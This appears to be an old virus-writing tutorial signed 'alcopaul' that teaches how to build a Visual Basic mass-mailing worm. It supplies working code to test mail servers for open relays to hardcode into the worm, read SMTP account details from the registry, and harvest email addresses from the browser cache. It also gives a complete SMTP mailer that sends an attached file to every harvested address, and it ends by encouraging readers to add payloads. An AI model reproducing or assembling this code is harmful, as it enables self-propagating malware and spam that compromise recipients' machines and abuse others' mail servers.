...

SMTP spreading : The VB Way

prelude : if you know vb, after reading this, you'll now be able to write a smtp vb worm..

why a hardcoded smtp mailer is worth to think twice..

excerpt from "open relay : what's going on" (http://www.stanford.edu/group/itss/css/leland/email/smtpmove/intro.htm)

".... How Internet mail works
You're at home and need to do some work. You boot your computer, connect to the Internet, fire up your mail program, compose a note, and hit Send. Think no more about it.
But what really happens when you send mail?
When you click send, your mailer checks its configuration for the address of an SMTP Server, typically a big computer run by your Internet Service Provider (ISP) or the organization you belong to (like Stanford). Then it connects to that SMTP server, sends the message, and disconnects.
An SMTP (Simple Mail Transport Protocol) server is basically the Internet mailman. The SMTP server will accept your message and find a way to deliver it. It will usually deliver the message right away, but in rare cases it will store the message on its disk, contact another SMTP server, and forward the mail on. Eventually, the note winds up at the destination, where it is stored in your recipient's Inbox.
SMTP is only used for sending mail. When you read mail, you probably use a protocol like POP or IMAP. The SMTP server you use has nothing to do with the POP server you use. They can, in fact, be miles apart on different networks.
What is an open relay?
Suppose you are in your campus office, and send a note to joe@caltech.edu. Your PC will contact an SMTP server at Stanford and send the note. Similarly if you want to send a note to jane@harvard.edu, you again contact the SMTP server on Stanford's campus. This is a fair use of Stanford's SMTP servers, because your PC is part of the Stanford campus network.
If your friend Joe wants to send you a note, he would contact the SMTP server at CalTech which would send the message to Stanford. But what if Joe, at CalTech, used the Stanford SMTP server to send a note to Jane, at Harvard? This is an open relay situation, and is not a fair use of Stanford's computers. This technique -- putting someone else's SMTP server in an email program's outgoing host field -- is used by spammers to send junk mail through the Internet.

....."

almost all popular the smtp mail servers (yahoo, lycos, hotmail etc..) aren't open relays.. how will you know that a smtp mail server is an open relay or not?

vb time

===========================================

Winsock1.Connect "mail.server.com", 25

'expected response is 220

Winsock1.SendData "HELO localhost" & vbCrLf

'expected response is 250

Winsock1.SendData "MAIL FROM:<openornot@yahoo.com>" & vbCrLf

'expected response is 250

Winsock1.SendData "RCPT TO:<victim@notserver.com>" & vbCrLf

'if response is 250, then it is an open relay server, which can be hardcoded to

'your vb worm, if not, it isn't and don't use it coz your vb worm won't spread

============================================================

if you want a list of the latest discovered smtp open relay server just visit,

http://www.openrelaycheck.com/orc/articles/spamglossary.asp

=============

smtp spreading

=============

basically, all you need to do is call winsock, search for email addys in a pc, a mail server from

registry, and let it send itself to those addys...

==============================================

getting mailserver and some identities from the registry

==============================================

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000001]

"Account Name"="alcopaul"

"SMTP Server"="mail.digitelone.com"

"SMTP Display Name"="alcopaul"

"SMTP Email Address"="alcopaul@digitelone.com"

=================================================

collecting e-mail files from the temporary internet files folder

=================================================

here's the snippet : c:\email.txt will contain email addresses.. :)

Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Const CSIDL_TIF = &H20
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Sub Form_Load()
wer567 GetSpecialfolder(CSIDL_TIF)
End Sub
Sub wer567(dir)
On Error Resume Next
Dim fso, ssfh, filh, s, f, d, q, a, textline
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssfh = fso.GetFolder(dir).SubFolders
For Each filh In ssfh
wfuck filh
Next
End Sub
Sub wfuck(dir)
On Error Resume Next
Dim fso, ssfh, filh, s, f, d, q, a, textline
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssfh = fso.GetFolder(dir).SubFolders
For Each filh In ssfh
DoEvents
ddd = ddd & filh & "/"
Next
arr1 = Split(ddd, "/")
For Each sdir In arr1
If sdir = "" Then Exit For
aaa = aaa & q23w45(sdir)
Next sdir
Open "c:\email.txt" For Output As #1
Print #1, aaa
Close #1
Open "c:\email.txt" For Input As #1
Do While Not EOF(1)
Line Input #1, textline
q = q & textline
Loop
Close #1
q = Replace(q, "A#?@;", "")
q = Replace(q, "A#?$;", "")
Open "c:\email.txt" For Output As #1
Print #1, q
Close #1
End Sub
Function q23w45(dir)
Dim fso, cfh, filh, ext, textline, q, wwww
Set fso = CreateObject("Scripting.FileSystemObject")
Set cfh = fso.GetFolder(dir).Files
For Each filh In cfh
DoEvents
ext = fso.GetExtensionName(filh.path)
ext = LCase(ext)
If (ext = "htm") Or (ext = "html") Then
aaaa = aaaa & xtrk(filh.path)
End If
Next
q23w45 = aaaa
End Function
Function xtrk(gggg As String)
Dim j As Long, cnt As Long, q As String, mlto As String, wwww As String
Open gggg For Input As #1
Do While Not EOF(1)
Line Input #1, textline
q = q & textline
Loop
Close #1
For j = 1 To Len(q)
If Mid(q, j, 8) = """" & "mailto:" Then
mlto = ""
cnt = 0
Do While Mid(q, j + 8 + cnt, 1) <> """"
mlto = mlto + Mid(q, j + 8 + cnt, 1)
cnt = cnt + 1
Loop
If InStr(1, mlto, "@") Then
Else
mlto = "A#?@"
End If
If InStr(1, mlto, "?") Then
mlto = "A#?$"
End If
mlto = Trim(mlto)
wwww = wwww & mlto & ";"
End If
Next
xtrk = wwww
End Function
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim r As Long
Dim IDL As ITEMIDLIST
Dim path As String
r = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If r = 0 Then
path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal path$)
GetSpecialfolder = Left$(path, InStr(path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""

End Function

==========================================================

smtp command-line mailer, concocted by me, ready to be gnued by you

==========================================================

the uuencode routine ain't my work.. thankie to a programmer..

just modify the Sub Form_Load() and i'm sure you'll be able to make your smtp worm..

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1
BorderStyle = 0 'None
Caption = "Form1"
ClientHeight = 90
ClientLeft = 0
ClientTop = 0
ClientWidth = 90
LinkTopic = "Form1"
ScaleHeight = 90
ScaleWidth = 90
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin MSWinsockLib.Winsock Winsock1
Left = 120
Top = 240
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Response As String
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Const CSIDL_TIF = &H20
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Sub Form_Load()
On Error Resume Next
Dim comm As String, mailserv As String, sender As String, recip As String, subject As String, message As String, attachment As String
Dim a
comm = InputBox("enter parameters ::: (mailserver/sender email address/" & vbCrLf & _
"recipients separated by ;/subject/message/attachment path) ")
a = Split(comm, "/")
mailserv = a(0)
sender = a(1)
recip = a(2)
subject = a(3)
message = a(4)
attachment = a(5)
If InternetGetConnectedState(0&, 0&) = 0 Then
MsgBox "your pc is not connected to the internet", vbCritical, "smtp"
Unload Me
Else
dddddd mailserv, sender, recip, subject, message, attachment
Unload Me
End If
End Sub
Function dddddd(mailsrv As String, send As String, recip As String, subj As String, mess As String, attch As String)
Dim collon As String, strserver As String, proxy As Long
Dim arr1, mail
arr1 = Split(recip, ";")
For Each mail In arr1
Winsock1.LocalPort = 0
If Winsock1.State = sckClosed Then
Winsock1.Protocol = sckTCPProtocol
strserver = Trim(mailsrv)
collon = InStr(strserver, ":")
If collon = 0 Then
Winsock1.Connect strserver, 25
Else
proxy = CLng(Right$(strserver, Len(strserver) - collon))
strserver = Left$(strserver, collon - 1)
Winsock1.Connect strserver, proxy
End If
W4C ("220")
Winsock1.SendData "HELO " & dom(send) & vbCrLf
W4C ("250")
Winsock1.SendData "MAIL FROM:" & "<" & send & ">" & vbCrLf
W4C ("250")
Winsock1.SendData "RCPT TO: " & "<" & mail & ">" & vbCrLf
W4C ("250")
Winsock1.SendData "DATA" & vbCrLf
W4C ("354")
Winsock1.SendData "From:" & send & " <" & send & ">" & vbCrLf
Winsock1.SendData "To:" & mail & " <" & mail & ">" & vbCrLf
Winsock1.SendData "Subject:" & subj & vbCrLf & vbCrLf
Winsock1.SendData mess & vbCrLf & vbCrLf & UUEncodeFile(attch) & vbCrLf
Winsock1.SendData vbCrLf & "." & vbCrLf
W4C ("250")
Winsock1.SendData "QUIT" & vbCrLf
W4C ("221")
Winsock1.Close
dddddd = True
Else
End If
Next mail
End Function
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData Response
End Sub
Private Sub W4C(ResponseCode As String)
Dim TT As Single
Dim TTT As Single
TT = Timer
While Len(Response) = 0
TTT = TT - Timer
DoEvents
If TTT > 24 Then
Exit Sub
End If
Sleep 1
Wend
While Left(Response, 3) <> ResponseCode
DoEvents
If TTT > 50 Then
Exit Sub
End If
Sleep 1
Wend
Response = ""
End Sub
Private Function dom(strPath As String) As String
dom = Mid(strPath, InStrRev(strPath, "@") + 1)
End Function
Public Function UUEncodeFile(strFilePath As String) As String
Dim intFile As Integer
Dim intTempFile As Integer
Dim lFileSize As Long
Dim strFileName As String
Dim strFileData As String
Dim lEncodedLines As Long
Dim strTempLine As String
Dim i As Long
Dim j As Integer
Dim strResult As String
strFileName = Mid$(strFilePath, InStrRev(strFilePath, "\") + 1)
strResult = "begin 664 " + strFileName + vbCrLf
lFileSize = FileLen(strFilePath)
lEncodedLines = lFileSize \ 45 + 1
strFileData = Space(45)
intFile = FreeFile
Open strFilePath For Binary As intFile
For i = 1 To lEncodedLines
If i = lEncodedLines Then
strFileData = Space(lFileSize Mod 45)
End If
Get intFile, , strFileData
strTempLine = Chr(Len(strFileData) + 32)
If i = lEncodedLines And (Len(strFileData) Mod 3) Then
strFileData = strFileData + Space(3 - (Len(strFileData) Mod 3))
End If
For j = 1 To Len(strFileData) Step 3
strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j, 1)) \ 4 + 32)
strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j, 1)) Mod 4) * 16 _
+ Asc(Mid(strFileData, j + 1, 1)) \ 16 + 32)
strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j + 1, 1)) Mod 16) * 4 _
+ Asc(Mid(strFileData, j + 2, 1)) \ 64 + 32)
strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j + 2, 1)) Mod 64 + 32)
Next j
strTempLine = Replace(strTempLine, " ", "`")
strResult = strResult + strTempLine + vbCrLf
strTempLine = ""
Next i
Close intFile
strResult = strResult & "`" & vbCrLf + "end" + vbCrLf
UUEncodeFile = strResult
End Function

=======

postlude

=======

i'm just gonna repeat myself this time..

essentials for a smtp spreading :

mailserver (open relays should be hardcoded just incase infos from registry can't be found)

email addresses (collect from Temp Internet Files folder or WAB)

smtp mailer (which is the worm itself)

if you wanna put some payloads, do it..

alcopaul